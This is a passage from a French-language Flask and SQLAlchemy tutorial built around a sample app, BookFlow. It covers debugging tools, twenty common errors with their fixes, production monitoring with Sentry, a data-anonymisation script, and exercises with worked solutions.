              'flask_debugtoolbar.panels.request_vars.RequestVarsDebugPanel',
              'flask_debugtoolbar.panels.config_vars.ConfigVarsDebugPanel',
              'flask_debugtoolbar.panels.template.TemplateDebugPanel',
              'flask_debugtoolbar.panels.sqlalchemy.SQLAlchemyDebugPanel',
              'flask_debugtoolbar.panels.logger.LoggingPanel',
              'flask_debugtoolbar.panels.profiler.ProfilerDebugPanel',
          ],
          SQLALCHEMY_RECORD_QUERIES=True,  # Enregistrer les requêtes SQL
      )
      DebugToolbarExtension(app)

  # La toolbar apparaît automatiquement dans les pages HTML
  # -> Voir les requêtes SQL, le temps de réponse, les variables de requête...


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  5⃣  EXERCICES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

NIVEAU FACILE :
  Exercice 54.1 : Configure shell_context_processor dans BookFlow.
    Teste dans flask shell : créer un livre, le modifier, le supprimer.
    Rollback à la fin pour ne pas polluer la BDD.

  Exercice 54.2 : Ajoute un breakpoint() dans la route creer_livre.
    Fais une requête POST et inspecte les variables dans pdb.
    Essaie de modifier data directement dans le débogueur.

  Exercice 54.3 : Configure le logging JSON structuré.
    Loggue 5 événements différents (debug, info, warning, error, critical).
    Analyse les logs avec jq.

NIVEAU INTERMÉDIAIRE :
  Exercice 54.4 : Installe Flask-DebugToolbar et identifie les requêtes
    SQL générées par GET /livres/. Compte combien de requêtes il y a.
    Résoudre tout N+1 détecté.

  Exercice 54.5 : Configure des alertes sur les logs d'erreur.
    Utiliser un script qui surveille logs/bookflow_errors.log
    et envoie une notification Slack si une ERROR apparaît.

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  [10] CORRIGÉS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

CORRIGÉ 54.5 — Alerte Slack sur erreur :

  # scripts/watch_errors.sh
  #!/bin/bash
  # Surveille le fichier de logs et alerte sur Slack si erreur

  WEBHOOK_URL="https://hooks.slack.com/services/XXX/YYY/ZZZ"
  LOG_FILE="/opt/bookflow/logs/bookflow_errors.log"

  tail -n 0 -f "$LOG_FILE" | while read LINE; do
      # Vérifier si c'est une erreur critique
      if echo "$LINE" | jq -e '.level == "ERROR" or .level == "CRITICAL"' > /dev/null 2>&1; then
          MESSAGE=$(echo "$LINE" | jq -r '"[" + .level + "] " + .message')
          curl -s -X POST "$WEBHOOK_URL" \
              -H "Content-Type: application/json" \
              -d "{\"text\": \"[ALERTE] BookFlow Error: $MESSAGE\"}"
      fi
  done

  # Lancer en daemon : nohup bash scripts/watch_errors.sh &


╔══════════════════════════════════════════════════════════════════════════════════════╗
║              CHAPITRE 55 — ERREURS COURANTES ET SOLUTIONS                        ║
║         Les 20 problèmes les plus fréquents en Flask et SQLAlchemy               ║
╚══════════════════════════════════════════════════════════════════════════════════════╝

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  ERREUR 1 — RuntimeError: Working outside of application context
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  SYMPTÔME :
    RuntimeError: Working outside of application context.
    This typically means that you attempted to use functionality
    that needed the current application.

  CAUSE :
    Accéder à db, current_app, g, request, etc. en dehors
    d'une requête HTTP ou d'un contexte app explicite.

  CAS COURANT :
    # Tâche Celery sans contexte Flask
    @celery_app.task
    def ma_tache():
        livres = Livre.query.all()  # <- Erreur ! Pas de contexte Flask

  SOLUTION :
    # Option 1 : ContextTask (voir Partie 16)
    # Option 2 : Créer le contexte manuellement
    @celery_app.task
    def ma_tache():
        from app import create_app
        app = create_app()
        with app.app_context():          # <- Contexte explicite
            livres = Livre.query.all()   # [OK] Fonctionne
            return len(livres)

    # Option 3 : Dans les tests
    def test_quelque_chose(app):         # Fixture pytest qui fournit le contexte
        with app.app_context():
            result = ma_fonction()
            assert result is not None


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  ERREUR 2 — DetachedInstanceError
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  SYMPTÔME :
    sqlalchemy.orm.exc.DetachedInstanceError:
    Instance <Livre at 0x...> is not bound to a Session

  CAUSE :
    Accéder à une relation lazy-loaded d'un objet SQLAlchemy
    APRÈS la fermeture de la session (hors contexte requête).

  CAS COURANT :
    @app.route('/livres/<id>')
    def get_livre(id):
        livre = Livre.query.get(id)
        return jsonify(livre.to_dict())

    # Dans to_dict() :
    def to_dict(self):
        return {
            'categories': [c.nom for c in self.categories]  # <- categories non chargées !
        }

  SOLUTIONS :
    # Solution 1 : eager loading (joinedload)
    livre = Livre.query.options(joinedload(Livre.categories)).get(id)

    # Solution 2 : expire_on_commit=False
    app.config['SQLALCHEMY_EXPIRE_ON_COMMIT'] = False  # Dangereux, éviter

    # Solution 3 : Sérialiser dans le contexte de la requête
    @app.route('/livres/<id>')
    def get_livre(id):
        livre = Livre.query.options(joinedload(Livre.categories)).get(id)
        data = livre.to_dict()  # Sérialiser ICI, pendant que la session est active
        return jsonify(data)

    # Solution 4 : make_transient (pour les tests)
    from sqlalchemy.orm import make_transient
    make_transient(livre)  # Détache proprement pour utilisation hors session


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  ERREUR 3 — IntegrityError : UNIQUE constraint failed
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  SYMPTÔME :
    sqlalchemy.exc.IntegrityError: UNIQUE constraint failed: livres.isbn

  CAUSE :
    Tentative d'insérer un enregistrement avec une valeur déjà existante
    sur une colonne avec contrainte UNIQUE.

  SOLUTION :
    from sqlalchemy.exc import IntegrityError

    try:
        livre = Livre(isbn=isbn, titre=titre, auteur=auteur)
        db.session.add(livre)
        db.session.commit()

    except IntegrityError as e:
        db.session.rollback()  # <- TOUJOURS rollback après IntegrityError !

        # Analyser le message d'erreur pour retourner un message utile
        error_msg = str(e.orig)
        if 'isbn' in error_msg.lower():
            return jsonify({'error': f"L'ISBN '{isbn}' est déjà utilisé"}), 409
        elif 'email' in error_msg.lower():
            return jsonify({'error': 'Cet email est déjà utilisé'}), 409
        else:
            return jsonify({'error': 'Contrainte de données violée'}), 409

  BONNE PRATIQUE PRÉVENTIVE :
    # Vérifier AVANT d'insérer (évite l'exception)
    if Livre.query.filter_by(isbn=isbn).first():
        return jsonify({'error': 'ISBN déjà utilisé'}), 409
    # Mais : race condition possible en concurrent (utilisez les exceptions quand même)


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  ERREUR 4 — Session en état invalide après exception
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  SYMPTÔME :
    sqlalchemy.exc.InvalidRequestError: This Session's transaction has been
    rolled back due to a previous exception during flush.

  CAUSE :
    Une exception a été levée pendant un flush/commit, mais la session
    n'a pas été rollbackée avant d'être réutilisée.

  SOLUTION :
    # TOUJOURS rollback après une exception SQLAlchemy
    try:
        db.session.add(livre)
        db.session.commit()
    except Exception as e:
        db.session.rollback()  # <- Obligatoire !
        raise

    # Pattern recommandé avec context manager
    from contextlib import contextmanager

    @contextmanager
    def transaction_bdd():
        try:
            yield db.session
            db.session.commit()
        except Exception:
            db.session.rollback()
            raise
        finally:
            db.session.close()

    # Utilisation :
    with transaction_bdd() as session:
        session.add(livre)
        # commit automatique si pas d'exception
        # rollback automatique si exception


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  ERREUR 5 — Circular Import
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  SYMPTÔME :
    ImportError: cannot import name 'db' from partially initialized module 'app'

  CAUSE :
    Deux modules s'importent mutuellement, créant une boucle infinie.

  CAS TYPIQUE :
    # app/__init__.py importe models
    # app/models/__init__.py importe db depuis app
    # -> Boucle circulaire !

  SOLUTIONS :
    # Solution 1 : extensions.py (Pattern recommandé — voir Partie 9)
    # app/extensions.py -> db = SQLAlchemy()
    # app/__init__.py  -> from .extensions import db
    # app/models/livre.py -> from app.extensions import db  (pas de 'app')

    # Solution 2 : Import local (dans la fonction)
    def ma_fonction():
        from app.models import Livre  # Import local, évite la boucle
        return Livre.query.all()

    # Solution 3 : TYPE_CHECKING
    from __future__ import annotations
    from typing import TYPE_CHECKING
    if TYPE_CHECKING:
        from app.models import Livre  # Seulement pour le type checking, pas à runtime


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  ERREUR 6 — 404 sur une route qui existe
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  SYMPTÔME :
    GET /api/v1/livres -> 404 Not Found
    Alors que la route est bien définie dans le code.

  CAUSES POSSIBLES ET SOLUTIONS :

    1. Blueprint non enregistré
       -> Vérifier dans create_app() que app.register_blueprint() est appelé
       -> flask routes | grep livres  <- Voir toutes les routes

    2. Préfixe URL incorrect
       app.register_blueprint(livres_bp, url_prefix='/api/v1/livres')
       @livres_bp.route('/')  <- URL finale : /api/v1/livres/
       # Requête vers /api/v1/livres (sans /) -> 308 Redirect vers /api/v1/livres/
       # Désactiver le redirect : strict_slashes=False
       @livres_bp.route('/', strict_slashes=False)

    3. Trailing slash
       # Flask redirige /livres vers /livres/ par défaut (308)
       # Désactiver globalement :
       app.url_map.strict_slashes = False

    4. Méthode HTTP incorrecte
       # GET sur une route POST-only -> 405 Method Not Allowed
       @app.route('/livres', methods=['POST'])  <- Seulement POST
       # Test : curl -X GET http://localhost:5000/api/v1/livres -> 405 !

  OUTIL DE DIAGNOSTIC :
    flask routes  # Liste toutes les routes de l'application
    # Exemple de sortie :
    # Endpoint               Methods    Rule
    # api_livres.get_livres  GET        /api/v1/livres/
    # api_livres.creer_livre POST       /api/v1/livres/
    # api_livres.get_livre   GET        /api/v1/livres/<int:livre_id>


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  ERREUR 7 — JWT Token Invalide / Expiré
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  SYMPTÔME :
    {"error": "Token invalide", "code": "TOKEN_INVALID"}
    Alors que le token semble correct.

  DIAGNOSTIC :
    # Décoder le token sans vérification de signature
    import base64, json
    token = "eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiIxIn0.xxx"
    payload_b64 = token.split('.')[1]
    # Ajouter le padding
    padding = 4 - len(payload_b64) % 4
    if padding != 4:
        payload_b64 += '=' * padding
    payload = json.loads(base64.b64decode(payload_b64))
    print(payload)
    # -> {'sub': '1', 'exp': 1705312800, 'iat': 1705309200}

    # Vérifier l'expiration
    import time
    print("Expiré :", payload['exp'] < time.time())

  CAUSES ET SOLUTIONS :

    1. JWT_SECRET_KEY différente entre les instances
       -> Vérifier que tous les workers utilisent la même clé
       -> Mettre la clé dans une variable d'environnement partagée

    2. Horloge serveur désynchronisée
       -> sudo ntpdate pool.ntp.org  # Synchroniser l'horloge
       -> JWT_LEEWAY = 10  # Tolérance de 10 secondes dans Flask-JWT-Extended

    3. Token signé par une vieille SECRET_KEY
       -> Après un changement de SECRET_KEY, tous les tokens existants sont invalides
       -> C'est normal et voulu : cela déconnecte tous les utilisateurs

    4. Algorithme JWT incorrect
       -> Vérifier que JWT_ALGORITHM = 'HS256' (ou 'RS256' pour les clés asymétriques)


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  ERREUR 8 — N+1 Query Problem
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  SYMPTÔME :
    Une route qui devrait être rapide prend 5 secondes.
    X-SQL-Queries header montre 150 requêtes.

  DIAGNOSTIC :
    # Dans Flask shell :
    from sqlalchemy import event
    from sqlalchemy.engine import Engine
    import time

    query_count = [0]

    @event.listens_for(Engine, 'after_cursor_execute')
    def count_queries(conn, cursor, statement, params, context, executemany):
        query_count[0] += 1

    # Simuler la route
    livres = Livre.query.all()
    for livre in livres:
        _ = livre.categories  # <- Chaque accès = 1 requête !

    print(f"Requêtes SQL : {query_count[0]}")  # -> 101 pour 100 livres !

  SOLUTION :
    from sqlalchemy.orm import joinedload, subqueryload

    # Option 1 : joinedload (JOIN SQL)
    livres = Livre.query.options(joinedload(Livre.categories)).all()

    # Option 2 : subqueryload (sous-requête)
    livres = Livre.query.options(subqueryload(Livre.avis)).all()

    # Option 3 : Chargement multiple
    livres = Livre.query.options(
        joinedload(Livre.categories),
        subqueryload(Livre.avis).joinedload(Avis.auteur)
    ).all()

    print(f"Requêtes SQL après fix : {query_count[0]}")  # -> 2 ou 3 requêtes !


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  ERREUR 9 — CORS Errors
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  SYMPTÔME (dans la console navigateur) :
    Access to fetch at 'http://api.bookflow.com/api/v1/livres' from origin
    'http://localhost:3000' has been blocked by CORS policy.

  CAUSE :
    Le navigateur bloque les requêtes cross-origin si les headers CORS
    ne sont pas correctement configurés côté serveur.

  SOLUTION COMPLÈTE :
    from flask_cors import CORS

    # Application globale
    CORS(app, origins=['http://localhost:3000', 'https://bookflow.com'])

    # Configuration fine (par Blueprint ou par route)
    CORS(api_bp, resources={
        r"/api/*": {
            "origins":            ["https://bookflow.com"],
            "methods":            ["GET", "POST", "PUT", "PATCH", "DELETE", "OPTIONS"],
            "allow_headers":      ["Content-Type", "Authorization", "X-CSRFToken"],
            "expose_headers":     ["X-Total-Count", "Link", "ETag"],
            "supports_credentials": True,  # Pour les cookies cross-origin
            "max_age":            600      # Cache preflight 10 minutes
        }
    })

  DIAGNOSTIC :
    # Tester le preflight OPTIONS avec curl
    curl -X OPTIONS http://api.bookflow.com/api/v1/livres \
      -H "Origin: http://localhost:3000" \
      -H "Access-Control-Request-Method: POST" \
      -v 2>&1 | grep "Access-Control"

    # Réponse attendue :
    # Access-Control-Allow-Origin: http://localhost:3000
    # Access-Control-Allow-Methods: POST
    # Access-Control-Allow-Headers: Content-Type, Authorization


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  ERREUR 10 — Migrations Conflits / Erreurs
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  SYMPTÔME 1 : "Multiple head revisions"
    alembic.util.exc.CommandError: Multiple head revisions are present...

  CAUSE : Deux branches de migrations divergentes.

  SOLUTION :
    flask db heads          # Voir les têtes multiples
    flask db merge <rev1> <rev2> -m "Merge migrations"
    flask db upgrade        # Appliquer

  SYMPTÔME 2 : "Target database is not up to date"
    alembic.util.exc.CommandError: Target database is not up to date.

  SOLUTION :
    flask db current        # Version actuelle de la BDD
    flask db history        # Voir l'historique
    flask db upgrade        # Appliquer les migrations en attente

  SYMPTÔME 3 : Migration génère un fichier vide (pas de changements détectés)
    # Alembic compare les modèles avec la BDD mais ne détecte pas les changements

  CAUSES ET SOLUTIONS :
    # 1. Modèles non importés dans create_app()
    with app.app_context():
        from . import models  # <- IMPORTANT pour les migrations

    # 2. Modifier la config Alembic pour détecter plus de changements
    # Dans alembic.ini ou env.py :
    compare_type = True        # Détecter les changements de type
    compare_server_default = True  # Détecter les changements de default

    # 3. Créer la migration manuellement
    flask db revision -m "Ajouter colonne isbn" --autogenerate


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  AUTRES ERREURS COURANTES (Référence Rapide)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  ERREUR 11 — KeyError: SECRET_KEY
  -> SECRET_KEY non définie dans les variables d'environnement
  -> Solution : vérifier .env et ProductionConfig.valider()

  ERREUR 12 — OperationalError: no such table
  -> Migrations non appliquées (flask db upgrade)
  -> Ou mauvaise DATABASE_URL (pointe vers un fichier .db vide)

  ERREUR 13 — UnicodeDecodeError dans les templates
  -> Fichier template non encodé en UTF-8
  -> Solution : ajouter # -*- coding: utf-8 -*- ou sauvegarder en UTF-8

  ERREUR 14 — 500 sur toutes les routes après déploiement
  -> DEBUG=True en production avec des erreurs silencieuses
  -> Vérifier les logs Gunicorn : journalctl -u bookflow -n 100
  -> Souvent : DATABASE_URL incorrecte ou SECRET_KEY trop courte

  ERREUR 15 — Flask ne recharge pas après modification
  -> FLASK_DEBUG=1 non défini
  -> Solution : flask run --reload ou FLASK_DEBUG=1 flask run

  ERREUR 16 — Requête JSON retourne None
  -> Content-Type non défini dans la requête
  -> request.get_json() retourne None si pas application/json
  -> Solution : request.get_json(force=True) ou request.get_json(silent=True)

  ERREUR 17 — PasswordField toujours vide dans WTForms
  -> Flask-WTF n'inclut jamais la valeur des PasswordField par sécurité
  -> Normal ! Ne pas essayer de pré-remplir les mots de passe.

  ERREUR 18 — Rate limit bloqué en dev
  -> RATELIMIT_ENABLED=False dans DevelopmentConfig
  -> Ou : @limiter.exempt sur les routes de test

  ERREUR 19 — Cookie de session perdu après redémarrage
  -> SECRET_KEY change à chaque redémarrage
  -> Solution : définir une SECRET_KEY fixe dans .env

  ERREUR 20 — Fichiers uploadés ne s'affichent pas
  -> Le dossier uploads/ non accessible statiquement
  -> Solution : servir via une route Flask ou configurer Nginx
  -> app.route('/uploads/<path:filename>')
  -> send_from_directory(app.config['UPLOAD_FOLDER'], filename)


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  EXERCICES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

NIVEAU FACILE :
  Exercice 55.1 : Provoque intentionnellement une DetachedInstanceError.
    Crée un objet SQLAlchemy, ferme la session, puis accède à une relation.
    Corrige avec le bon eager loading.

  Exercice 55.2 : Identifie et résous un problème de CORS dans ton API.
    Crée un fichier HTML qui fait un fetch() vers ton API Flask.
    Observe l'erreur CORS dans la console, puis la corriger.

  Exercice 55.3 : Provoque une IntegrityError en insérant deux livres
    avec le même ISBN. Capture l'exception et retourne un 409 propre.

NIVEAU INTERMÉDIAIRE :
  Exercice 55.4 : Résous une migration en conflit (Multiple head revisions).
    Crée deux branches de migrations manuellement, puis merge-les.

  Exercice 55.5 : Crée un script de diagnostic qui vérifie en une seule
    commande : BDD accessible, Redis accessible, nombre de livres,
    dernier log d'erreur.

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  [10] CORRIGÉS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

CORRIGÉ 55.5 — Script de diagnostic :

  #!/usr/bin/env python3
  # scripts/diagnostic.py

  import sys, os
  sys.path.insert(0, os.path.dirname(os.path.dirname(__file__)))

  def run():
      print("=== Diagnostic BookFlow ===\n")
      ok = True

      # 1. BDD
      try:
          from app import create_app
          from app.extensions import db
          from app.models import Livre, Utilisateur

          app = create_app()
          with app.app_context():
              nb_livres = Livre.query.count()
              nb_users  = Utilisateur.query.count()
              print(f"[OK] BDD OK — {nb_livres} livres, {nb_users} utilisateurs")
      except Exception as e:
          print(f"[X] BDD ERREUR : {e}")
          ok = False

      # 2. Redis
      try:
          import redis, os
          r = redis.from_url(os.getenv('REDIS_URL', 'redis://localhost:6379/0'))
          r.ping()
          info = r.info('stats')
          hit_rate = info.get('keyspace_hits', 0)
          miss_rate = info.get('keyspace_misses', 1)
          rate = round(hit_rate / (hit_rate + miss_rate) * 100, 1) if (hit_rate + miss_rate) > 0 else 0
          print(f"[OK] Redis OK — Cache hit rate: {rate}%")
      except Exception as e:
          print(f"[X] Redis ERREUR : {e}")
          ok = False

      # 3. Dernier log d'erreur
      try:
          import json
          log_file = 'logs/bookflow_errors.log'
          if os.path.exists(log_file):
              with open(log_file) as f:
                  lignes = f.readlines()
              if lignes:
                  derniere = json.loads(lignes[-1])
                  print(f"[ATTENTION]  Dernier log erreur : [{derniere.get('timestamp', '?')[:19]}] "
                        f"{derniere.get('message', '?')[:80]}")
              else:
                  print("[OK] Aucun log d'erreur")
          else:
              print("ℹ  Fichier de logs non trouvé")
      except Exception as e:
          print(f"[ATTENTION]  Logs non lisibles : {e}")

      print(f"\n{'[OK] Diagnostic OK' if ok else '[X] Problèmes détectés'}")
      return 0 if ok else 1

  if __name__ == '__main__':
      sys.exit(run())


╔══════════════════════════════════════════════════════════════════════════════════════╗
║              CHAPITRE 56 — DEBUGGING EN PRODUCTION                                ║
║     Comment diagnostiquer sans casser le service live                             ║
╚══════════════════════════════════════════════════════════════════════════════════════╝

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  1⃣  STRATÉGIES DE DEBUG EN PROD (SANS CASSER LE SERVICE)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

RÈGLE D'OR : Ne JAMAIS activer DEBUG=True en production.
Le mode debug expose le système de fichiers et les variables d'environnement.

STRATÉGIE 1 — FEATURE FLAGS (Debugging ciblé) :

  # Activer des logs verbeux seulement pour un utilisateur spécifique
  import os

  DEBUG_USER_IDS = set(
      map(int, os.getenv('DEBUG_USER_IDS', '').split(','))
      if os.getenv('DEBUG_USER_IDS') else []
  )

  @app.before_request
  def debug_selectif():
      """Active les logs détaillés pour les utilisateurs de debug."""
      try:
          from flask_jwt_extended import verify_jwt_in_request, get_jwt_identity
          verify_jwt_in_request(optional=True)
          user_id = get_jwt_identity()
          if user_id and int(user_id) in DEBUG_USER_IDS:
              import logging
              logging.getLogger('sqlalchemy.engine').setLevel(logging.INFO)
              g.mode_debug = True
      except Exception:
          pass

STRATÉGIE 2 — AUGMENTER LE NIVEAU DE LOG TEMPORAIREMENT :

  # Route admin pour changer le niveau de log à la volée
  @api_admin_bp.route('/debug/log-level', methods=['POST'])
  @admin_requis
  def changer_niveau_log():
      """Change le niveau de log sans redémarrer."""
      import logging
      data = request.get_json() or {}
      niveau_str = data.get('niveau', 'INFO').upper()
      niveau = getattr(logging, niveau_str, logging.INFO)

      # Changer pour le logger Flask seulement
      current_app.logger.setLevel(niveau)

      current_app.logger.warning(f"Niveau de log changé en {niveau_str}")
      return jsonify({'success': True, 'nouveau_niveau': niveau_str})

STRATÉGIE 3 — SENTRY (Monitoring d'erreurs production) :

  pip install sentry-sdk[flask]

  import sentry_sdk
  from sentry_sdk.integrations.flask import FlaskIntegration
  from sentry_sdk.integrations.sqlalchemy import SqlalchemyIntegration
  from sentry_sdk.integrations.celery import CeleryIntegration

  sentry_sdk.init(
      dsn=os.getenv('SENTRY_DSN'),  # Clé Sentry depuis sentry.io
      environment=os.getenv('FLASK_ENV', 'production'),
      release=os.getenv('GIT_SHA', 'unknown'),
      traces_sample_rate=0.1,   # Tracer 10% des requêtes
      profiles_sample_rate=0.1,

      integrations=[
          FlaskIntegration(
              transaction_style="url"  # Grouper par URL pattern
          ),
          SqlalchemyIntegration(),
          CeleryIntegration()
      ],

      # Filtrer les données sensibles
      before_send=lambda event, hint: filtrer_donnees_sensibles(event)
  )

  def filtrer_donnees_sensibles(event):
      """Supprime les données sensibles avant envoi à Sentry."""
      if 'request' in event:
          headers = event['request'].get('headers', {})
          if 'Authorization' in headers:
              headers['Authorization'] = '[Filtré]'
          if 'Cookie' in headers:
              headers['Cookie'] = '[Filtré]'
      return event

  # Utilisation :
  from sentry_sdk import capture_exception, set_user, set_tag

  @app.errorhandler(500)
  def erreur_500(e):
      capture_exception(e)  # Envoyer à Sentry
      return jsonify({'error': 'Erreur interne'}), 500

  @app.before_request
  def identifier_user_sentry():
      try:
          user = obtenir_utilisateur_courant()
          if user:
              set_user({'id': user.id, 'email': user.email})
              set_tag('user.role', user.role)
      except Exception:
          pass


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  2⃣  REPRODUCTION EN LOCAL D'UN BUG PROD
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

ÉTAPES POUR REPRODUIRE UN BUG DE PROD EN LOCAL :

  # 1. Copier les logs du serveur prod
  scp bookflow@prod:/opt/bookflow/logs/bookflow_errors.log ./logs/prod_errors.log

  # 2. Extraire la requête qui a causé le bug
  cat logs/prod_errors.log | jq '. | select(.message | contains("ERROR"))' | tail -1

  # 3. Restaurer un backup de la BDD prod en local (optionnel)
  # [ATTENTION] Anonymiser les données personnelles avant de les copier en local !
  gunzip -c backup_20240115_020000.sql.gz | python scripts/anonymiser_bdd.py | \
    psql bookflow_local

  # 4. Reproduire la requête avec curl
  curl -X POST http://localhost:5000/api/v1/livres/ \
    -H "Content-Type: application/json" \
    -H "Authorization: Bearer TOKEN" \
    -d '{"titre": "", "auteur": "Test"}'

  # 5. Ajouter des logs supplémentaires dans la zone suspecte
  # 6. Utiliser pdb pour inspecter l'état

SCRIPT D'ANONYMISATION DES DONNÉES :

  # scripts/anonymiser_bdd.py
  # Remplace les emails et noms réels par des données fictives
  import sys, re

  for ligne in sys.stdin:
      # Anonymiser les emails
      ligne = re.sub(
          r'[a-zA-Z0-9._%+\-]+@[a-zA-Z0-9.\-]+\.[a-zA-Z]{2,}',
          'anonyme@test.com',
          ligne
      )
      # Masquer les tokens JWT
      ligne = re.sub(
          r'eyJ[A-Za-z0-9\-_]+\.[A-Za-z0-9\-_]+\.[A-Za-z0-9\-_]+',
          '[TOKEN_REDACTED]',
          ligne
      )
      print(ligne, end='')


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  3⃣  COMMANDES DE DEBUG EN PROD
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  # ── SANTÉ DU SERVICE ────────────────────────────────────────────
  # Voir les 100 derniers logs
  sudo journalctl -u bookflow -n 100 --no-pager

  # Voir les logs en temps réel avec filtrage
  sudo journalctl -u bookflow -f | grep -E "ERROR|WARNING"

  # État des services
  systemctl is-active bookflow postgres redis nginx

  # ── BASE DE DONNÉES ─────────────────────────────────────────────
  # Connexions actives
  sudo -u postgres psql -c "SELECT pid, usename, application_name, state, query_start, query
    FROM pg_stat_activity
    WHERE datname = 'bookflow_prod'
    ORDER BY query_start DESC LIMIT 10;"

  # Requêtes lentes (nécessite pg_stat_statements)
  sudo -u postgres psql -c "SELECT query, calls, mean_exec_time, rows
    FROM pg_stat_statements
    ORDER BY mean_exec_time DESC LIMIT 10;"

  # Taille des tables
  sudo -u postgres psql bookflow_prod -c "\d+ livres"
  sudo -u postgres psql bookflow_prod -c "SELECT relname, pg_size_pretty(pg_total_relation_size(relid))
    FROM pg_catalog.pg_statio_user_tables ORDER BY pg_total_relation_size(relid) DESC;"

  # ── REDIS ───────────────────────────────────────────────────────
  redis-cli -a $REDIS_PASSWORD info memory     # Utilisation mémoire
  redis-cli -a $REDIS_PASSWORD info stats      # Hit rate, connexions
  redis-cli -a $REDIS_PASSWORD keys "bookflow_*" | wc -l  # Nb de clés cache
  redis-cli -a $REDIS_PASSWORD monitor         # Voir les commandes en temps réel

  # ── SYSTÈME ─────────────────────────────────────────────────────
  # CPU et RAM
  htop

  # Connexions réseau
  ss -tlnp | grep -E "5000|5432|6379|80|443"

  # Fichiers ouverts par Flask
  lsof -p $(pgrep -f gunicorn) | wc -l

  # ── FLASK SHELL EN PROD ─────────────────────────────────────────
  # Inspecter la BDD sans redémarrer
  cd /opt/bookflow && source venv/bin/activate
  flask shell
  # >>> Livre.query.filter_by(disponible=False).count()
  # >>> Emprunt.query.filter_by(statut='en_cours').count()


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  4⃣  EXERCICES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

NIVEAU FACILE :
  Exercice 56.1 : Configure Sentry dans BookFlow.
    Génère intentionnellement une erreur 500.
    Vérifie qu'elle apparaît dans le dashboard Sentry avec le traceback.

  Exercice 56.2 : Crée la route admin /debug/log-level.
    Teste le passage du niveau INFO à DEBUG sans redémarrer Flask.

NIVEAU INTERMÉDIAIRE :
  Exercice 56.3 : Implémente le script scripts/diagnostic.py.
    Il doit vérifier BDD, Redis, Celery et retourner un code exit 1 si problème.
    Intègre-le dans le Makefile : make health-check.

  Exercice 56.4 : Configure les feature flags de debug.
    Ajoute ton user_id dans DEBUG_USER_IDS.
    Vérifie que les requêtes SQL s'affichent seulement pour toi.

NIVEAU AVANCÉ :
  Exercice 56.5 : Crée un dashboard de monitoring en temps réel
    accessible sur /admin/live-monitor :
    - Requêtes/seconde (compteur Redis)
    - Temps de réponse moyen (rolling average)
    - Erreurs des 10 dernières minutes

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  [10] CORRIGÉS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

CORRIGÉ 56.5 — Dashboard live monitor :

  # app/routes/admin/monitor.py
  @admin_bp.route('/live-monitor')
  @admin_requis
  def live_monitor():
      """Dashboard de monitoring en temps réel."""

      def generer_metriques():
          import time, json
          from app.utils.redis_client import redis_client

          while True:
              maintenant = time.time()
              fenetre = 60  # 60 secondes

              # Compter les requêtes (via compteur Redis)
              req_count = int(redis_client.get('monitor:req_count') or 0)
              req_errors = int(redis_client.get('monitor:req_errors') or 0)

              # Temps de réponse moyen (moyenne mobile)
              temps_list = redis_client.lrange('monitor:response_times', 0, 99)
              temps_moyen = (
                  sum(float(t) for t in temps_list) / len(temps_list)
                  if temps_list else 0
              )

              data = {
                  'timestamp':    maintenant,
                  'req_par_min':  req_count,
                  'erreurs':      req_errors,
                  'temps_moyen_ms': round(temps_moyen, 2),
                  'cache_hits':   int(redis_client.info('stats').get('keyspace_hits', 0)),
              }

              yield f"data: {json.dumps(data)}\n\n"

              # Remettre les compteurs à zéro chaque minute
              redis_client.setex('monitor:req_count', 60, 0)
              time.sleep(5)

      return Response(
          stream_with_context(generer_metriques()),
